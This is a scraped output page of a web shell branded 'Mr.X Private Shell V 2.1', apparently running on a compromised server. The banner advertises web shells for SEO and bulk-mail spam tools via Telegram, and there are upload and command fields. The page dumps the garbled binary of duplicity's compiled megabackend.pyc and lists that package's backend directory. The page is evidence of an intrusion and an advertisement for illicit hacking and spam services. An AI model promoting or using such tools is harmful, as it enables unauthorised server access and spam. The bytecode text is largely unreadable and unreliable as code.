__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�����SSKrSSKrSSKrSSKJr "SS\RR5r\RRS\5 \RRRS/5 g)�N)�BackendExceptionc�d�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSSjr
SrS
rSrSrg)�MegaBackend�z,Connect to remote store using Mega.co.nz APIc��[RRRX5 UR	S5 UR	S5 UR	S5 UR	S5 UR	S5 UR
UlURc[R"S5S3Ul
O-SUl
URUlUR5UlS	UlURS
UR SS3UlUR%UR SSR'S
55 g)N�megals�	megamkdir�megaget�megaput�megarm�HOMEz/.megarcFz/Root�/�)�	duplicity�backend�Backend�__init__�_check_binary_exists�hostname�	_hostname�password�os�getenv�_megarc�username�	_username�get_password�	_password�_root�path�_folder�_makedir_recursive�split)�self�
parsed_urls  �@/usr/lib/python3/dist-packages/duplicity/backends/megabackend.pyr�MegaBackend.__init__!s�����!�!�*�*�4�<�	
�!�!�(�+��!�!�+�.��!�!�)�,��!�!�)�,��!�!�(�+�$�,�,������&� �i�i��/�0��9�D�L� �D�L�'�0�0�D�N�!�.�.�0�D�N���
��*�*��Q�z���q�r�':�&;�<���	
���
����� 3� 9� 9�#� >�?�c�x�[R"SU/5 g![an[SUS35eSnAff=f)z:checks that a specified command exists in the current path�whichz	command 'z.' not found, make sure megatools are installedN)�
subprocess�check_output�	Exceptionr)r$�cmd�es   r&r� MegaBackend._check_binary_exists<sA��	d��#�#�W�c�N�3���	d�"�Y�s�e�3a�#b�c�c��	d�s��
9�4�9c��UR(aSSURU/nOSSURSURU/nURU5 g)zcreates a remote directoryr	�--config�-u�-pN)rrr�subprocess_popen)r$r r.s   r&�_makedir�MegaBackend._makedirEsE���<�<��
�D�L�L�$�?�C���d�n�n�d�D�N�N�D�Q�C����c�"r(c���[SSRU535 URnUHnUSU3nURU5 M g![anSnAM1SnAff=f)zGcreates a remote directory (recursively the whole path), ingores errorszmkdir: rN)�print�joinrr6r-)r$r �p�folderr/s     r&r"�MegaBackend._makedir_recursiveOsd��	�������'�(�)��J�J���F��#�Q�v�h��A�
��
�
�a� ����
���
�s�A
�
A"�A"c��UR[R"U55 UR	[R"UR55[R"U5S9 g![a NSf=f)zDuploads file to Mega (deletes it first, to ensure it does not exist))�
local_file�remote_fileN)�deleter�fsdecoder-�upload�
get_canonical)r$�source_path�remote_filenames   r&�_put�MegaBackend._put]sa��	��K�K����O�4�5�	
���r�{�{�;�+D�+D�+F�G�UW�U`�U`�ap�Uq��r���	��	�s�%A.�.
A;�:A;c��UR[R"U5[R"UR5S9 g)zdownloads file from Mega)r@r?N)�downloadrrB�name)r$rF�
local_paths   r&�_get�MegaBackend._getgs-��	
�
�
�"�+�+�o�">�2�;�;�Wa�Wf�Wf�Kg�
�hr(c� �URSS9$)zlist files in the backup folderT)�
files_only)�folder_contents)r$s r&�_list�MegaBackend._listls���#�#�t�#�4�4r(c�J�UR[R"U5S9 g)zdeletes remote)r@N)rArrB)r$�filenames  r&�_delete�MegaBackend._deleteqs��	
������H� 5��6r(c�j�[SUR35 UR(aSSURUR/nO&SSURSURUR/n[
R"U5n[R"UR55RS5nUVs/sHoD[UR5S-SPM nnU(aUVs/sH
nS	U;dMUPM nnUVs/sHn[R"U5PM sn$s snfs snfs snf)
z>lists contents of a folder, optionally ignoring subdirectorieszmegals: rr2r3r4�
rNr)
r9r!rrrr+r,rrB�stripr#�len�fsencode)r$rPr.�files�fs     r&rQ�MegaBackend.folder_contentsvs���	������'�(��<�<��Z����t�|�|�D�C��T�4�>�>�4�������V�C��'�'��,�����E�K�K�M�*�0�0��6��6;�;�U��3�t�|�|�$�q�(�*�+�U��;�� %�6��1��A��Q��E�6�(-�.��1����A���.�.��
<��7��.s�8$D&�)
D+�7D+� D0c��[SU35 UR(a#SSURSSUURSU3/nO.SSURSURSSUURSU3/	nURU5 g)	Nz	megaget: r
r2�
--no-progress�--pathrr3r4�r9rr!rrr5)r$r@r?r.s    r&rJ�MegaBackend.download�s���
�	�+��'�(��<�<����������<�<�.��+��/��C��������������<�<�.��+��/�
�C�	
���c�"r(c
��[SU35 UR(a#SSURSSURSU3U/nO.SSURSURSSURSU3U/	nURU5 g![a7n[U5nS	U;a[S
US35e[SUS
US35eSnAff=f)Nz	megaput: rr2rarbrr3r4�
EOVERQUOTAz1MEGA account over quota, could not write file : 'zC'. Upgrade your storage at https://mega.nz/pro or remove some data.zFailed writing file 'z' to MEGA , reason : '�')	r9rr!rrr5r-�strr)r$r?r@r.r/�	error_strs      r&rC�MegaBackend.upload�s���
�	�+��'�(��<�<���������<�<�.��+��/���C�������������<�<�.��+��/��
�C�
	h��!�!�#�&���	h��A��I��y�(�&�G��}�UW�X���
'�)>�{�m�Ka�bc�ad�de�'f�g�g��	h�s�2B�
C�2C�Cc��[SU35 UR(a SSURURSU3/nO+SSURSURURSU3/nURU5 g)Nzmegarm: rr2rr3r4rc)r$r@r.s   r&rA�MegaBackend.delete�ss��
���
�&�'��<�<��Z����$�,�,��q��
�7V�W�C��T�4�>�>�4����D�L�L�>�YZ�[f�Zg�Ih�i�C����c�"r()r!rrrrrN)F)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr6r"rGrMrRrVrQrJrCrA�__static_attributes__�r(r&rrsG��6�@�6d�#��s�i�
5�
7�
/�,#�8$h�L#r(r�mega)rr+�duplicity.backendr�duplicity.errorsrrrr�register_backend�uses_netloc�extendrsr(r&�<module>rzsb��.
���-�x#�)�#�#�+�+�x#�v
���"�"�6�;�7�	�����$�$�f�X�.r(

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 379 B 0644
_cf_cloudfiles.cpython-313.pyc File 5.1 KB 0644
_cf_pyrax.cpython-313.pyc File 6.79 KB 0644
_testbackend.cpython-313.pyc File 16.5 KB 0644
adbackend.cpython-313.pyc File 18.76 KB 0644
azurebackend.cpython-313.pyc File 6.79 KB 0644
b2backend.cpython-313.pyc File 11.74 KB 0644
boxbackend.cpython-313.pyc File 9.21 KB 0644
cfbackend.cpython-313.pyc File 665 B 0644
dpbxbackend.cpython-313.pyc File 24.58 KB 0644
gdocsbackend.cpython-313.pyc File 10.15 KB 0644
gdrivebackend.cpython-313.pyc File 15.64 KB 0644
giobackend.cpython-313.pyc File 9.93 KB 0644
hsibackend.cpython-313.pyc File 3.42 KB 0644
hubicbackend.cpython-313.pyc File 2.76 KB 0644
idrivedbackend.cpython-313.pyc File 23.25 KB 0644
imapbackend.cpython-313.pyc File 12.94 KB 0644
jottacloudbackend.cpython-313.pyc File 7.04 KB 0644
lftpbackend.cpython-313.pyc File 12.44 KB 0644
localbackend.cpython-313.pyc File 4.08 KB 0644
mediafirebackend.cpython-313.pyc File 6.07 KB 0644
megabackend.cpython-313.pyc File 8.47 KB 0644
megav2backend.cpython-313.pyc File 10.2 KB 0644
megav3backend.cpython-313.pyc File 11.81 KB 0644
multibackend.cpython-313.pyc File 14.88 KB 0644
ncftpbackend.cpython-313.pyc File 7.3 KB 0644
onedrivebackend.cpython-313.pyc File 17.76 KB 0644
par2backend.cpython-313.pyc File 11.9 KB 0644
pcabackend.cpython-313.pyc File 15.11 KB 0644
pydrivebackend.cpython-313.pyc File 14.04 KB 0644
rclonebackend.cpython-313.pyc File 6.53 KB 0644
rsyncbackend.cpython-313.pyc File 7.66 KB 0644
s3_boto3_backend.cpython-313.pyc File 11.21 KB 0644
slatebackend.cpython-313.pyc File 7.49 KB 0644
ssh_paramiko_backend.cpython-313.pyc File 23.04 KB 0644
ssh_pexpect_backend.cpython-313.pyc File 14.37 KB 0644
swiftbackend.cpython-313.pyc File 12.88 KB 0644
sxbackend.cpython-313.pyc File 2.87 KB 0644
tahoebackend.cpython-313.pyc File 3.64 KB 0644
webdavbackend.cpython-313.pyc File 25.74 KB 0644
xorrisobackend.cpython-313.pyc File 16.46 KB 0644
Filemanager